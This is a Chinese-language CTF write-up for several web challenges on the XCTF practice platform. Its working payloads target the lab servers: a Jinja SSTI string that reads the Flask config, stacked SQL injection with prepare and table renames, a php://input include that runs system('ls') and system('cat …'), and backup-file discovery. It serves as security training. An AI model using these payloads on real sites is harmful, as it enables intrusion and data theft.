攻防世界 web篇(四)

简介: 攻防世界 web篇(四)

攻防世界 web篇(四)

cookie

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

打开抓包,发现有个cookie.php

http://61.147.171.105:53978/cookie.php 查看响应头

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){//这里是加密函数
    $_o=strrev($str);  //这里对字符串进行倒置
    // echo $_o;
    for($_0=0;$_0<strlen($_o);$_0++) {      
        $_c=substr($_o,$_0,1);  //从$_0中一个一个将字符取出
        $__=ord($_c)+1;   //字符ASCLL码值+1
        $_c=chr($__);      //ASCLL码值变回字符
        $_=$_.$_c;        //拼接每一个字符
    } 
    return str_rot13(strrev(base64_encode($_)));//将字符串先base64加密 ,再倒置,再进行ROT13编码
}
highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

解题代码思路

先base64解密 base64_decode()

使用 strrev()倒置字符串

再进行ROT13编码 刚好26个字母进行两次刚好完成解密

之后就是将字符的ASCLL码值-1

字符串再进行倒置

同样我们也使用php,使用echo将解密结果输出

可以使用本地环境或者在线环境

<?php
$secret="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$secret=base64_decode(strrev(str_rot13($secret)));
$m=$secret;
for($i=0;$i<strlen($secret);$i++){
$_c=substr($m,$i,1);
  $__=ord($_c)-1;    
  $__=chr($__);     
  $_=$_.$__; 
}
echo strrev($_);
?>

https://c.runoob.com/compile/1/

shrine

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
    return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

flask 在 /shrine/ 下的 SSTI,对 payload 进行了过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

supersqli

使用预编译**绕过

';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

flag{c168d583ed0d4d7196967b28cbd0b5e9}

修改原参数查询

http://61.147.171.105:51964/?inject=1';show databases;--+

查表

http://61.147.171.105:51964/?inject=1';show tables;--+

分别查询两个表的字段:
(字符串为表名进行操作时要加反引号)
; show columns from `1919810931114514` ;--+
; show columns from `words` ;--+

1' or 1=1 #
http://61.147.171.105:51964/?inject=1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

使用php://input 伪协议

http://61.147.171.105:50320/?page=Php://input

<?php system('ls'); ?> #列出所有文件

<?php system('cat fl4gisisish3r3.php'); ?> #查看文件

upload1

更改文件名称

backup

题目描述:

X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

常见的备份文件后缀名:
“.bak”
“.git”
“.svn”
“.swp”
“.~”
“.bash_history”
“.bkf”
http://61.147.171.105:59660/index.php.bak

相关文章
|
3月前
|
SQL 前端开发 Java
《CTF攻防世界web题》之茶壶我爱你(2)
《CTF攻防世界web题》之茶壶我爱你(2)
26 0
|
3月前
|
前端开发 Java 计算机视觉
《CTF攻防世界web题》之我什么都不会(1)
《CTF攻防世界web题》之我什么都不会(1)
31 0
|
4月前
|
存储 搜索推荐 PHP
攻防世界 初识web
攻防世界 初识web
32 0
|
9月前
|
安全
Web 安全 — CSRF 的原理和攻防
Web 安全 — CSRF 的原理和攻防
86 0
|
9月前
|
安全 存储 前端开发
Web 安全 — XSS 的原理和攻防
Web 安全 — XSS 的原理和攻防
110 0
Web 安全 — XSS 的原理和攻防
|
11月前
|
安全 PHP
攻防世界web进阶
攻防世界web进阶
|
前端开发 安全 JavaScript
|
安全 PHP Python
攻防世界 web篇(六)
攻防世界 web篇(六)
200 0
攻防世界 web篇(六)
|
PHP 数据安全/隐私保护
攻防世界web篇(五)
攻防世界web篇(五)
100 0
攻防世界web篇(五)